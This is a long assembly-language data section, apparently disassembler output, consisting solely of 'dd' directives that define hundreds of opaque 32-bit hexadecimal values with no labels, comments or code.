		dd 0E56400FCh, 9037CE5Eh, 0C304EFC1h, 65E13C1Ah, 0D811F0E6h
		dd 4C01014Fh, 324D1D5Ah, 66604B6Fh, 4078E404h, 131E6051h
		dd 162FFA3Dh, 989B3A4Eh, 119F0310h, 0BA602DF4h,	1D7750h
		dd 0C37D733Ch, 8C3A1A03h, 0E885DE00h, 0F9FB13A7h, 68B05BAh
		dd 0B364789Eh, 0B94980D8h, 8C1E72h, 87B37C2Ah, 11EE1857h
		dd 4B3FC33Dh, 88DDCCD8h, 0AD0011A2h, 0CB8E438Fh, 6E42A8h
		dd 4D0767FAh, 7B613906h, 0AB11D4B6h, 59D8CB00h,	6B089404h
		dd 0E05E7E04h, 0C4C46737h, 0C4919084h, 636F7B7Ch, 0FAA821D0h
		dd 0C42D2D07h, 1244434h, 2F95220Fh, 0EED1B9FCh,	600BA8D9h
		dd 0E78180B6h, 9344677Eh, 205E97E0h, 99D78DC0h,	24CAD301h
		dd 0F8388E4Dh, 0EB105437h, 0D22D89AAh, 588D499Ch, 0C8E35E16h
		dd 87855C4Ch, 89CDE61Fh, 0D38D4E80h, 512CF84Ch,	0A03BC44Fh
		dd 0B9FC7A37h, 39BB0010h, 971C7564h, 0F609EBF2h, 0FA15F9ACh
		dd 871D00A0h, 167BEE50h, 94006DC5h, 1B86CB5Fh, 99FC842h
		dd 2B07E0BCh, 3F0130ECh, 0E17746C0h, 0A02874A1h, 0D70E1A80h
		dd 81003F67h, 606699BEh, 26621410h, 0E4F05DE3h,	0B6541A7h
		dd 0B1E4931Dh, 0CC044F7Dh, 6498244Ch, 86C6748h,	5BCB6B9h
		dd 8734CAAEh, 9CF29504h, 0C82A95A4h, 8600E8D9h,	0BB77B4CDh
		dd 0D46638h, 58EF8328h,	7A818508h, 24A03095h, 73AD88A9h
		dd 2244849Eh, 30C4D825h, 0B177D744h, 0AEAA01F4h, 9CCDD6E7h
		dd 7E89FFB8h, 8AC0D97Ch, 25282D4Ch, 0B6A8C8E0h,	532C5C82h
		dd 0CAECECD5h, 608098A4h, 6D8E1C1Ah, 27949h, 63CCE70Fh
		dd 0EF2A164Fh, 0CFF6F04h, 0C8DC7D47h, 0E6B0130h, 5EEBCEFBh
		dd 7C2472E2h, 984A4F05h, 28B60A57h, 10646725h, 89A84D48h
		dd 1FE8D951h, 4344C0A2h, 9306EEB3h, 71767E71h, 0DF865405h
		dd 8A990FFh, 9451D5CBh,	342EF340h, 4F550063h, 0AB7C5BAh
		dd 0E1054A8Ah, 6793380Bh, 88D2ECDCh, 4DE607D1h,	0A862045Ah
		dd 5D0512Ah, 0C86526F5h, 624101DCh, 1D031DE4h, 0D75B64CBh
		dd 0AEB600D2h, 6C40E124h, 1A02EA09h, 0A03C2285h, 0E01074B6h
		dd 765DEB3Bh, 8201B33Dh, 0D1D79F98h, 45045863h,	2023ACh
		dd 0C8209FB9h, 59BEA13Fh, 1282446Dh, 0F07173AEh, 0C8D22710h
		dd 5E3FC97Ch, 54682E29h, 3DA0803Eh, 371F7BF5h, 0CF9F01F7h
		dd 0EF9593DAh, 4E6BD8BFh, 0E4D8292Fh, 49E46F3Ch, 0DCFE7804h
		dd 98A65760h, 57F81C48h, 5E632004h, 24E8C8A3h, 0C34CACB0h
		dd 5E179338h, 0FC30D853h, 5DA67h, 0E3A1A384h, 6EC7F34Eh
		dd 8DFFDE16h, 0F10D1831h, 0C837D0h, 5972D2ADh, 891EB73Ch
		dd 0C9746D07h, 47E0F35Dh, 2EDF0491h, 0E2C4527Ah, 0B4917678h
		dd 200E8731h, 0E20E3491h, 0C1F6FE95h, 0F42D1B89h, 0D460C893h
		dd 7C74838h, 47FB1FCEh,	986C0400h, 0C0745C9Bh, 393F2FF0h
		dd 218ED700h, 0C0826364h, 2BFF0106h, 19E701C8h,	9F070Dh
		dd 7786E0D0h, 542809F8h, 0ACE1B92Fh, 0CAC85071h, 0DA00EA03h
		dd 0F155441Fh, 78B6E63h, 0B24931BBh, 1ECA7234h,	0ADC2D85Eh
		dd 0BE4FA75h, 1B25A301h, 0E7006859h, 19BCD49Ch,	0F7D001ABh
		dd 6A7BE949h, 0D5483077h, 9881FC91h, 0DBCB0F03h, 0FE17243Ch
		dd 0ADBC8C08h, 88287CF7h, 226C642Ch, 2D1445E2h,	2295E804h
		dd 0EAD021AAh, 0B212DCA6h, 7A669213h, 0C896A4B2h, 6407FA84h
		dd 0A421F3B3h, 0DC9506C4h, 80A51C08h, 480949ABh, 0F200D172h
		dd 27EFE753h, 43EDE89h
		dd 0FD508F17h, 4CFD15h,	0E05588B5h, 0F13952h, 2DA96AC1h
		dd 0AFE30F44h, 0E8C20C04h, 0B0B2872Ah, 4F5FA7Eh, 0F9428E03h
		dd 7150B65Eh, 0C55A4B0Bh, 60D8126Fh, 11A239Eh, 18EA169Ch
		dd 0F0E7B552h, 502EB55h, 0C5FB53A9h, 0E210765Bh, 147159A2h
		dd 624E6A85h, 45EB08C8h, 83682CDAh, 983E1E36h, 10D07Bh
		dd 0B4DE5F75h, 72073B46h, 2762C001h, 97542901h,	84203825h
		dd 679A1438h, 0CC49FDD7h, 0C5211DCCh, 71D84802h, 551713D6h
		dd 4F23DC80h, 20BC12Ah,	85C98F33h, 68E477BFh, 959839h
		dd 41AEB770h, 35A4919Ah, 0C4EB7096h, 2252570h, 0BE00E064h
		dd 4379C1E0h, 0B497465Eh, 9002CBD8h, 4295759h, 0F240DD68h
		dd 0FFA86CCAh, 0E2846CB4h, 48EDC719h, 5C887000h, 4D1A2ACCh
		dd 452F3A12h, 0BBE7C044h, 0B1E35A02h, 62AB6104h, 9B015DC0h
		dd 54DAC8BBh, 7478C444h, 8802A8F3h, 64B39AA6h, 9840B06Ah
		dd 62410557h, 2CFCF84Dh, 889200D2h, 0AC7750D7h,	3D3CBB23h
		dd 60310028h, 74A36E05h, 3CD459ECh, 0A6507929h,	211A639Ch
		dd 661291B7h, 0D646E0AFh, 154A7E02h, 14617255h,	0BEAD44h
		dd 0B6844B01h, 0AE92E3FDh, 149E6302h, 7486C82Ah, 48E86B88h
		dd 49798270h, 3B3F051Eh, 0BF146125h, 0C794B815h, 205344BDh
		dd 3F8CC3FAh, 18C85170h, 28019B80h, 603C556h, 0BA22D091h
		dd 69502865h, 57DA22A8h, 6293D825h, 752402D4h, 254460F9h
		dd 6E4B84D9h, 286C605Dh, 8063FE43h, 0B044D1h, 3BE7A89Eh
		dd 43B3D82Ch, 0FF944D04h, 56AE847Dh, 0C4FC08E4h, 28D07797h
		dd 0DA3673h, 94A82996h,	0E5EBF55Dh, 9710D13Bh, 0C042FA4h
		dd 5491B51Dh, 0F7085852h, 70F35007h, 204BE5E9h,	0DFF206A4h
		dd 0F012BDABh, 0F670EC7Eh, 20860B3Bh, 5880E255h, 516B7762h
		dd 0EDAF5D00h, 23137530h, 8CCB561Dh, 4B4A9C48h,	0CCF21440h
		dd 0E330670Fh, 0F779A706h, 2818C186h, 3C9CFC20h, 0A7446475h
		dd 1EECC388h, 0C1F02577h, 42729A23h, 20A6A4E4h,	2FEF3686h
		dd 0C7411308h, 18300602h, 0F700212Ah, 7FF8604Bh, 9E8406Ch
		dd 8CA8BCB4h, 6590BC21h, 0F1819261h, 0DB0038F2h, 3B5D67D1h
		dd 0DD2E499Dh, 0F14958FDh, 0FE7506F8h, 0DF64E095h, 8240A6B0h
		dd 0D016F077h, 63E5AA00h, 49AC5B6Ch, 0CCF75B21h, 0D33DADB8h
		dd 792A01BDh, 0C43CFB0Eh, 0EA59DC50h, 0D65A8061h, 0C896449Ch
		dd 0E0560E4h, 91D04721h, 28B8A600h, 6875804Ah, 0CD48EC16h
		dd 0DB087404h, 0E0F52497h, 26DC7CCCh, 4714E189h, 0D89DC8DBh
		dd 9C646Dh, 0A0682C72h,	183BB637h, 0C95FE10Eh, 0E40016F2h
		dd 513C0555h, 106C195Ah, 6F6F68AEh, 0B99E4443h,	0BBC5984Ah
		dd 540A00AAh, 29BE0F7Ch, 0CB27B424h, 0F6E46660h, 0DEA05FEh
		dd 0C257E648h, 28630A70h, 80D8B88Dh, 534B81C7h,	8785016Ah
		dd 13DCFBCAh, 0F975F10Fh, 0D4203E05h, 0E79EA9h,	0B3AB37C6h
		dd 0EE2357EAh, 7244EC00h, 8D2F9462h, 49CC9819h,	3852ECBDh
		dd 3C4483C0h, 600FD6Ah,	5C27489Ah, 80606B18h, 0D460284Eh
		dd 31412699h, 0E6BC09BAh, 0E20093DAh, 756872F6h, 510D6327h
		dd 301A8F08h, 86B4C092h, 2955748h, 0B26644h, 0CCDAFF8Eh
		dd 0BB6E7007h, 6305693h, 2EC83E14h, 938480DFh, 7860A25Eh
		dd 4CA7054Eh, 946D6C17h, 0B84FBF10h, 0C003BD28h, 7255CC46h
		dd 0CB590978h, 3C7930A2h, 7584CF10h, 70C8A976h,	0A1FFE403h
		dd 80D69B88h, 5D440267h, 522C1080h, 5C844984h, 2B165FACh
		dd 175C7890h, 0C7F30B4Fh, 0E0F947A5h, 8079A39Ch, 0B49CD88Fh
		dd 81FA23h, 49ADB57Ah, 2ADE3EE2h, 6EBFD5F3h, 8A891445h
		dd 5C12DC89h, 27C10CEh,	0EEFCCC5Eh, 7DD85500h, 9EE973Eh
		dd 0B42B0413h, 0D70088A6h, 0C253EBC4h, 0A107E1A6h, 0E5CD11CBh
		dd 0FFCCB610h, 0D2CF0016h, 7F71EA22h, 2FC6BF1h,	0B13A6705h
		dd 90FC4592h, 0CC1A8CE0h, 0B227CB1Fh, 8703DF80h, 2B03CBEh
		dd 6345A10Fh, 287C84F5h, 0F400C826h, 3825EB76h,	8CDD006Ch
		dd 0F0AF7B6Bh, 40FB751h, 809FFDE1h, 3A960D8Bh, 40A4BEB8h
		dd 81B4A64Bh, 6A044C00h, 0A5744FC8h, 72BC1D9Dh,	4DA56AFh
		dd 882B6C53h, 5E0E7C08h, 0FC5AFBh, 90FD60EEh, 39A71F4Dh
		dd 99A8079h, 0F22AAEA4h, 3654FE14h, 8677079Dh, 0A0A08A97h
		dd 385CF0C9h, 5381B069h, 966A166Ch, 0FC885548h,	34068064h
		dd 4A5F53AAh, 88A28Bh, 732EFEC0h, 0CD6B3Fh, 0CE33557Bh
		dd 91223296h, 0DEFF450Bh, 464C90F4h, 30BE0558h,	0EC516A4Ah
		dd 0FD4380C0h, 6045E0C9h, 0FB8026C0h, 86002AF5h, 1AEBA4E5h
		dd 913AC901h, 14518034h, 0AA173F83h, 0CEBE6302h, 60678BE1h
		dd 7C193DC0h, 0EACB017Ah, 0D83C28F6h, 20F420B7h, 0D473EB05h
		dd 6CB5BC70h, 91F29C60h, 0D246183Ch, 0C2E7A09h,	5B4428FDh
		dd 0DD0D7440h, 12122897h, 470107A4h, 68E733AAh,	2E456820h
		dd 4018C9F7h, 8B02E8BCh, 1DB9570Bh, 5E750450h, 7C0058E2h
		dd 0E283BEA4h, 0AC5C26A7h, 59700B4Ch, 0F0D849D4h, 471B0910h
		dd 0F49387F8h, 0D5C85410h, 0DACC7840h, 0E60E4E7Bh, 0E4425Ch
		dd 0F2446C92h, 25779D7Ah, 9C64AE31h, 52B48613h,	0F88F9900h
		dd 39311AFh, 8A73A203h,	30A75717h, 5B54442Ah, 0E4A3604Ah
		dd 6D002B3Bh, 0CDB7CC52h, 0BE2E1CD2h, 781628C1h, 480E9017h
		dd 7D286125h, 398C6AF4h, 2A99ADC2h, 0E16C34F3h,	25274EE8h
		dd 77CE6D8h, 0D882939h,	57770249h, 145B5461h, 988048BCh
		dd 0FBC09946h, 82D38C05h, 2CCD7326h, 0C00D06Ch,	67AB2702h
		dd 0A4918370h, 0D880A824h, 493590AEh, 27CC3CA7h, 8717C800h
		dd 0D9ADE159h, 58B26720h, 1F8E8C6Eh, 3F1B45E0h,	0C00B562h
		dd 0DA37B23Eh, 383D90A6h, 0F2CED2D0h, 0F0172030h, 681539CAh
		dd 0D25B863Fh, 1C208F5Ch, 7083ACEh, 0BE3E6DD7h,	0FD58F002h
		dd 9B7A5C15h, 605C27FEh, 69221C80h, 41950DB8h, 62FA48D7h
		dd 6060DC10h, 631D58EFh, 0ADB77A00h, 93B6FE26h,	4A7B7Eh
		dd 60524490h, 47C0B1FAh, 26B2A200h, 4F8287Bh, 0DA6006Ch
		dd 0BB58D3EAh, 0F23C2070h, 389180AAh, 27A01D64h, 0ACEA6Ch
		dd 7B758F1Bh, 9601BF60h, 42AC08D4h, 0C48D27D0h,	0A6F9A05Ch
		dd 0FC8202FEh, 601AF890h, 0C04C8880h, 262852BDh, 6E5BC4D9h
		dd 0FA68C8h, 5D4D110Ah,	905026F7h, 7428BC05h, 0E0202C70h
		dd 0F14C2Eh, 299106D5h,	1490B6D0h, 6900C4B1h, 0D9D35234h
		dd 85E9008Dh, 4B4E8B07h, 0A40BA2A3h, 7F6D5BBh, 7634C709h
		dd 0E0CCA4h, 0EBA3CA08h, 0D54C45D0h, 0C6DB9A0Bh, 0F36B003Bh
		dd 74FD3024h, 4ECA147Bh, 51037878h, 769AADA2h, 246227F0h
		dd 0A3737700h, 2A3754FFh, 0DEAB2E92h, 0D5B000Dh, 3281D8CFh
		dd 85449F4Ch, 0F88C216Ch, 1C4682E1h, 3714AD00h,	0AC248CEBh
		dd 1CFC4BBBh, 8CE62704h, 0CC91100h, 2E0DD48Ah, 363731B6h
		dd 807D8BFAh, 44033D44h, 6050F8h, 0F1EDC9FEh, 0C892B02Ch
		dd 0EE85CA19h, 20E15810h, 0F2AC203Ah, 3E035ECh,	0D8D17F02h
		dd 0A4A23282h, 0D9327A5Ch, 2321E84Ch, 126D05DBh, 3C008C2Ch
		dd 52007EF2h, 2249F0C8h, 261355h, 630120F9h, 48603AC4h
		dd 0DA901827h, 0D530148h, 35D90907h, 30C13B04h,	0D022DAADh
		dd 98164C2Fh, 8DE62900h, 73803EACh, 0BD0E1364h,	7A74D1C9h
		dd 4B59702Bh, 840D4900h, 576A3A6Dh, 0E3EF007Dh,	17455908h
		dd 5B299D02h, 0C80CB4E1h, 0B02F41AAh, 1DA40792h, 0F0E2BD99h
		dd 0A5029F3Dh, 0F8F493B7h
		dd 265CDFh, 0C80F28ABh,	7D9267F4h, 0CFB9151Eh, 0D6C11D18h
		dd 8BBA0071h, 1CDFA1F3h, 8A0C9D7h, 5E4AF056h, 501140B0h
		dd 2CC74CAh, 31AB2099h,	0D3824B0Ch, 905FA88Dh, 91C840h
		dd 0C175AF73h, 1EDF1033h, 0A1A35001h, 781260D3h, 52071029h
		dd 0D1671874h, 6E3237AAh, 1F8F020h, 0EB5E2595h,	79510C20h
		dd 0FEE4DA93h, 0E97E4637h, 2E7AB0C0h, 14A35070h, 71F100B3h
		dd 1C0E76E1h, 930E982Ah, 53A37299h, 860BC43h, 0C445F013h
		dd 2AAF13BCh, 5C24C8B4h, 0E300D0E4h, 0F116BD7Eh, 0AC7C526h
		dd 187C6704h, 74442584h, 1032FC00h, 9492F076h, 20AD002Ah
		dd 0B79A841Dh, 0C700C403h, 4E976270h, 0B0A922Ch, 0F8FF73BDh
		dd 0A88B4C10h, 0EC0DEC24h, 20F820ADh, 5505737h,	0D4A12F99h
		dd 0E2B4F415h, 22948001h, 2B4F7F8Eh, 204AC20h, 5668D03Fh
		dd 17D6CC4h, 4931C0A4h,	74000862h, 1660D6Bh, 29F19B6h
		dd 0C9FE6F4Ch, 0B022D2E0h, 1B5222C8h, 880CC390h, 1F4B7BCFh
		dd 0C2537EC5h, 283709E7h, 7940E8FCh, 2050F2h, 5EBAE30h
		dd 811D8F13h, 425CBD09h, 61EC5C8Ah, 0C1D4C193h,	0A231DCF0h
		dd 0D8119460h, 29641662h, 2FF0E15Eh, 536A8490h,	42C17900h
		dd 0BFEEACF8h, 39A73EDAh, 0F75F21E0h, 401D176Fh, 5E46582Eh
		dd 0FC1170AFh, 20535FA2h, 6778DA10h, 1CA7902Eh,	73C0055Eh
		dd 0DCB0B852h, 61008150h, 0A29C9DC5h, 13D05499h, 0B88D2880h
		dd 3E2D8758h, 0ECAFDDD0h, 86B60733h, 0D5C11Fh, 5DDA9005h
		dd 733B3827h, 5EEA0018h, 86057E78h, 4FB67F1Ch, 8AA36A80h
		dd 9443B856h, 0EB5A853Ch, 16C0563Eh, 0D9EC30DCh, 0E59F909Eh
		dd 70E00288h, 44072D3h,	0BD050819h, 0E22B90BAh,	468D8C80h
		dd 95FF0CDFh, 0CE584BE1h, 0E44F38B8h, 6356C841h, 88788D06h
		dd 3E89FF81h, 0A6ECD4DBh, 0C0834C2Ch, 70B06A12h, 585AF231h
		dd 780924B0h, 908BC9C1h, 650008D9h, 471BF2DDh, 0B21C4B7Eh
		dd 0EF7B019Ch, 0D4EAB040h, 0ACA9FDCh, 21E625C5h, 9F8ACC8h
		dd 5C197082h, 1A682330h, 5E07372h, 98CAFE84h, 0A8D9AE84h
		dd 412B885Ch, 68F79063h, 646A0058h, 877F93BAh, 0C48C5DC2h
		dd 0D1D03C02h, 2629B05Eh, 941D3B0h, 15CB5955h, 0FC00B851h
		dd 9E5B350Dh, 29853811h, 150DAA6h, 5ECBD042h, 6B2452B6h
		dd 79004919h, 0B92DEBB6h, 7500628Dh, 9768A0B8h,	0BB4F3917h
		dd 0D030EE12h, 2C62870Ch, 719418Ch, 40117D03h, 0F5E01052h
		dd 8B3C3813h, 6F6E511Eh, 5A59601Ah, 51AA44D4h, 0D6041FFAh
		dd 0F83967CEh, 0B003B4B3h, 404770D1h, 0E9A8BBE0h, 521672E8h
		dd 34E386B7h, 981F4448h, 28D483FEh, 0C817C4B8h,	0A82071ADh
		dd 9152A41Ah, 55E38164h, 2B25AEFBh, 275068C1h, 5F0AA07Bh
		dd 0F00E6225h, 40149D1Ch, 7068E346h, 0AE4D0314h, 21142F6Fh
		dd 0CAF8254Ch, 20A028B6h, 24FF7917h, 7D90C8h, 0FECEEAC6h
		dd 0D8683717h, 266A0D00h, 9613CC30h, 1FB40047h,	3F54258Ah
		dd 9CBC9A45h, 64E75764h, 0E5E37000h, 0BBBA1D50h, 515FE2F8h
		dd 0CEF30800h, 297978h,	0D4D27CCDh, 73DE48Ch, 3D3F58BCh
		dd 241809DCh, 9C8058A8h, 32CD44B0h, 98D41256h, 0D9F18440h
		dd 46250039h, 33A5440Ah, 68007721h, 15235FF2h, 3572A0h
		dd 381D7A58h, 824E3286h, 0D74A4078h, 283F0CB1h,	0E300E190h
		dd 58C9910Eh, 7EFA45h, 8873DA19h, 0DC72ADBh, 5CA3E412h
		dd 0A800C425h, 0A6909858h, 65E14A26h, 2C8B3D0h,	443C27BEh
		dd 27ACD2AFh, 44953Ah, 6600DAFAh, 1D911B7h, 0F291DD7h
		dd 6DFCAC94h, 26919260h, 0F8172865h, 0D0027E38h, 46DBD473h
		dd 2E2F43FCh, 3460308Dh, 1C27D75h, 20ABF6Ah, 70C0FD84h
		dd 1D0E60E7h, 0A3FFF07Bh, 8ECA17h, 46774A41h, 0D12B28ECh
		dd 31FDF707h, 75406394h, 2C6229DBh, 60888040h, 1EB60B78h
		dd 0B4A0ECFCh, 11C00CA0h, 0AE1858D7h, 60919575h, 846D0C25h
		dd 67695105h, 94CC893Fh, 1C281782h, 5F840074h, 5A159E75h
		dd 1230A22Dh, 6658C16Ch, 8CA04812h, 0AB83727Bh,	190B089Eh
		dd 29CCC878h, 0EB620709h, 0D0798868h, 66200EC9h, 0DEB2C200h
		dd 284E2A04h, 9150AADCh, 4C796EECh, 6F889203h, 98E8E6A8h
		dd 2578D185h, 9D00C8E4h, 0A5B520C4h, 494DEC64h,	3018ECCAh
		dd 0F58D8167h, 0EF143901h, 17037F7h, 6CD4D2h, 0CB035211h
		dd 0D100A43Ch, 5E9986A1h, 2EF62D13h, 11427DAh, 0E5A9A591h
		dd 30A7606Fh, 0AF117300h, 8570ED88h, 6DD5000Fh,	2B2D2895h
		dd 64A9224Eh, 0F40E0B70h, 33E00D0Bh, 673B3F72h,	2141B700h
		dd 9EA88D90h, 5A1104FCh, 0BA53A417h, 1525AC40h,	0B03AAC2Eh
		dd 5890BDF8h, 0F00F1A70h, 0C6B511B4h, 17B08D88h, 0C82827h
		dd 0BC55B06Ch, 58169935h, 0A01B5E70h, 40E8F411h, 600A40DFh
		dd 0AE65D2F9h, 0F498EE7Eh, 1F507098h, 8B88A060h, 48990054h
		dd 0DD819068h, 0D100FF17h, 757FE973h, 13EF8238h, 0D2294D13h
		dd 0E4527720h, 62A4F903h, 0A8289CF8h, 143A958h,	0A6478CC9h
		dd 0C19FCB32h, 0D908F041h, 6E90B600h, 4264AB2Bh, 80BB1C8Ah
		dd 5FDF0055h, 0ACD8CB61h, 17594D16h, 4240301Ch,	786A57BDh
		dd 7410B50Ah, 2200B275h, 0BB5C6CE2h, 149C838h, 0E2CE458h
		dd 406FF650h, 0C26EC6Ch, 0BA5B7800h, 0F56B807Bh, 0F310015h
		dd 0D3ACE85h, 200C995h,	7DA73DA3h, 12E46433h, 0C8D05097h
		dd 78F4CE94h, 0D63DA14h, 0A45626DEh, 0E24962Dh,	6FFBBA78h
		dd 0EC5E4DA1h, 90EC5598h, 5A492480h, 78F7BD1Fh,	96344BC0h
		dd 274DA99Ah, 6C44942Ch, 0B24BCD42h, 0D4F500ECh, 3E95C8DDh
		dd 239A0789h, 914097Ah,	0B390F400h, 3030B5AAh, 6CDC319Fh
		dd 0E6813E79h, 4070599Dh, 5E9585F5h, 1C0362AFh,	0DCCF053Ah
		dd 0DCEBCA06h, 2328400Ch, 204C8F31h, 103225C4h,	3FF2B3A8h
		dd 5803A2E8h, 0F1FB5E73h, 3830115Ah, 246ECA7h, 5B530D4Dh
		dd 0CC9B57A5h, 52C02AD9h, 0C810E174h, 0A4D588C3h, 5E713526h
		dd 77E0200h, 0F988A55h,	0D26241FCh, 0F24C9EA0h,	2404F8FFh
		dd 1EDDD06h, 2D00B0E2h,	0C5E5D6EAh, 6C1E7E4Bh, 0E8807430h
		dd 0C8092BF0h, 2E103B9h, 0C5D8E534h, 74394904h,	30EB0E64h
		dd 0A83D6358h, 3E853800h, 99B80695h, 7AD03CBh, 876FD82Ah
		dd 70AE1916h, 10221C32h, 0EC2E6278h, 5180D0A5h,	0FB72C7F3h
		dd 0F82D04EFh, 0F8F29770h, 26588380h, 4A62983Eh, 682200EFh
		dd 2A30EE78h, 0C300CBB2h, 4EE9E02Bh, 60961804h,	6BBD907Bh
		dd 117F5E8h, 9400ACAEh,	0B064A91Dh, 0D09F4822h,	6AECEBC0h
		dd 9A3BAAABh, 0D9FC000Ah, 0C6F89495h, 76D41469h, 2611604Fh
		dd 90FC13DFh, 0A9F4C8h,	9D33E9D3h, 7708936Dh, 1BC22903h
		dd 90B46F82h, 262C5B57h, 4B6855D0h, 813EB051h, 0BE53FD70h
		dd 99F5829Eh, 72801438h, 0C1C9D498h, 5C24BF0Fh,	0F2A2E0B4h
		dd 954C1CCDh, 2EA390AEh, 992FEFC4h, 84081015h, 0D703008Fh
		dd 4EEE47B0h, 2412DE77h, 40B84B6Ah, 0E6BB3001h,	202A378Ch
		dd 0DE41C0C8h, 0D788047Dh, 44CAC862h, 0DB39FEFCh, 0CFD988A9h
		dd 306C64DAh, 88AAC5Fh,	39DECC00h, 0FF928689h, 49A54000h
		dd 8173298h, 15701C1Bh,	5C68014h, 908E7331h, 6CA7F60Eh
		dd 38D76575h, 0F14BF900h, 3BBFB04Eh, 0DF138874h, 158811Bh
		dd 0FC140262h, 95F380D4h, 7AB432F0h, 0C550E700h, 0C6EE4E65h
		dd 0D8100967h, 884A6DDCh, 584B94F6h, 0C7731830h, 57870F8h
		dd 8CB4FF00h, 0F49855DAh
		dd 0FCAB1E27h, 1DBF013Dh, 0F85C7570h, 500058D4h, 6D8627Eh
		dd 2659E191h, 0C18C1D45h, 0A7E2A030h, 0D8E419h,	0E3B6739h
		dd 0A6E7536Eh, 9C706D00h, 90FED83Eh, 80730097h,	33A5278Ah
		dd 4214F089h, 1E98EAB5h, 8602C5D4h, 0D72B2F02h,	8D67AC18h
		dd 601CBF16h, 0E2CD1C00h, 0FB265910h, 0A3801C29h, 0B0D09B11h
		dd 88407894h, 9130Bh, 0EE19C7D1h, 5E7C2CB8h, 68CC284Bh
		dd 0DCC3D99h, 32798A80h, 0F091EF2Bh, 0A987100h,	17B204FDh
		dd 20E148CFh, 5100A922h, 4BE6C55Dh, 0F0E3423Bh,	0F87016E2h
		dd 5058A4A1h, 893CB00Bh, 0FCA862F4h, 77097FCh, 4B6E6BC0h
		dd 15002071h, 923D5E7Fh, 184E00D9h, 6AAD7886h, 0FB05D18Dh
		dd 0B8B4B6D4h, 20E0CC82h, 0C57D4364h, 7B0087F0h, 9C235FECh
		dd 652A11h, 0BF93308Dh,	38629AC4h, 308748h, 1AFC6BB5h
		dd 175C185h, 0D5CB3156h, 2A596CADh, 0AB256021h,	7871820h
		dd 0FD513BBFh, 5A5C6070h, 309CEE0Ch, 7EA72A40h,	0F3C200F6h
		dd 55FB43E4h, 98E037E8h, 1B13A51Ah, 354C6F0h, 0E9D9B73Eh
		dd 19B02E25h, 2712686Ch, 4C8083C9h, 0BD9E5FCh, 6F60EC37h
		dd 4700DCF2h, 6AD72C7Fh, 0B67BEEh, 998B5CAEh, 0E581223Dh
		dd 95091870h, 0E8DCFBC1h, 72FA095Ch, 8540D340h,	5C30BA1Ch
		dd 0BACB92Ah, 0BE52D686h, 0F46FD804h, 320CF774h, 0C6F8477Dh
		dd 5DD92F09h, 8FCF0A0h,	66003A4Dh, 0ADB00A90h, 95AF0F71h
		dd 15C758E9h, 0ADC0F8F8h, 92796B36h, 0AC00CF74h, 35758B39h
		dd 32A1BDEh, 5EA28143h,	0F5D9F790h, 0FF1960CBh,	0A9D4442Fh
		dd 64F48070h, 613437Ch,	77327BF0h, 2C001163h, 0F17DE21Ch
		dd 93A926CAh, 0AD779288h, 3CB60090h, 8D9A2858h,	0EC331C24h
		dd 2526CF20h, 804BCFE0h, 84A21AE5h, 75C43851h, 58E10823h
		dd 0B90784Dh, 9723F70h,	0CE4A8h, 13EA16D2h, 2B672631h
		dd 98A4175Eh, 7D512EC1h, 0B8804B04h, 572C261Ch,	6C0BA45Ah
		dd 50105ED6h, 4D09054Eh, 7146633Dh, 92D30020h, 88E8D551h
		dd 0A4770A0Bh, 96F05157h, 5CB08825h, 68588h, 41A161F6h
		dd 0F23283E2h, 715D8A01h, 2790BABEh, 0C85B8868h, 1300A4E8h
		dd 0C904867Ah, 38C01D4Ch, 0CB9759A6h, 0A160AC1Bh, 0C80856B3h
		dd 7100209Dh, 1C18CB05h, 0C0D32776h, 79F9F61Eh,	0D50D48BCh
		dd 0A0A2454Ah, 777062CAh, 0EC091490h, 1D9F75Ch,	0A138F488h
		dd 0DC33D90Ah, 510E780Ah, 80775AFCh, 817ED2A0h,	54262DF8h
		dd 383160A9h, 58606E65h, 6B5642h, 37F2451h, 0BCC2F45Eh
		dd 28A48212h, 63808CB2h, 1AA91783h, 0E884E600h,	6C53AEF1h
		dd 1B208072h, 79630225h, 2D3D003Ch, 384E42F2h, 2109E300h
		dd 0B7760166h, 8D150932h, 3CF464D9h, 8854EA40h,	523D1D2Ch
		dd 0D200FE08h, 0EF90EB77h, 90951451h, 1619A5B0h, 0ACE15E1Bh
		dd 4F53A78Ch, 51F1C8D0h, 0E6920211h, 0E21689C7h, 0F3ACB077h
		dd 234D5BBCh, 13F86400h, 18E88728h, 0E49CFC98h,	331A8340h
		dd 0AF7800D0h, 3F5E0C74h, 0CA00B127h, 54E09F98h, 25F2F6CEh
		dd 80951EBh, 0B300C8D1h, 2AEEB8D4h, 923B0059h, 57DD42A0h
		dd 89FC07FCh, 0DA43CC09h, 13C87BAEh, 0C210A813h, 0E0CDB5D7h
		dd 5FF43Dh, 689EDEF7h, 7884F862h, 0D8C43C07h, 8E404023h
		dd 72AE11Eh, 41F494B1h,	6AEAB0F0h, 0E000C804h, 93D251A8h
		dd 902074DAh, 0B707518h, 0A372F7B1h, 71306E01h,	0AC8A6FF1h
		dd 0CC587804h, 440FCE3h, 0C430A257h, 0C2070FAh,	4F000BFCh
		dd 0E9639D57h, 1C1A7D0h, 345F7B7Dh, 6B250907h, 0DB71D420h
		dd 2CB097B2h, 86001482h, 4A540137h, 4F6F79E4h, 6C0C08BBh
		dd 14887045h, 0A18B005Dh, 38F51D2Eh, 0AA745231h, 0BA6F4307h
		dd 86902FD7h, 4C13C35Fh, 2506E0EAh, 812838D8h, 0C2809B58h
		dd 0E2A8073Dh, 1EB052A4h, 524F846h, 0E099D9F9h,	79D49EC0h
		dd 0AE5CC7F4h, 702B72B0h, 0A39400DFh, 7675CB91h, 74278B6Dh
		dd 4C0CEC48h, 0C400F4CFh, 0B0F728CDh, 6B0351C8h, 6E701E14h
		dd 79190461h, 0F9AC7456h, 0C52C13D4h, 46F028h, 0FDBED57Eh
		dd 369AEB1Bh, 3D4F9300h, 5D3FE8FFh, 0BD400494h,	0B76177h
		dd 4955E324h, 2C81BF75h, 5879310Eh, 928356ECh, 40662457h
		dd 0E2EEAC3Bh, 3C160118h, 0A0C91FB3h, 0C03ED18Dh, 7901A8F2h
		dd 2D0A8E1Bh, 0B0484E8Ch, 44718AAEh, 0F956CA00h, 0DDF0D7h
		dd 2C926DE5h, 0E10C3EB0h, 0C91C430Fh, 2D08C7DBh, 27495626h
		dd 404EB970h, 0BA2D4700h, 0F85502FAh, 0EE48B2AEh, 0A03A787Fh
		dd 90979B5Ch, 98F0D9h, 0A93B0AC0h, 87FDF8ECh, 3CDD9301h
		dd 0A870AA51h, 0B2B491F2h, 0B828BB15h, 89A36071h, 0DB4F3101h
		dd 0A55C2E39h, 0DFCC6815h, 0C9E10058h, 0BABBEC68h, 609A756h
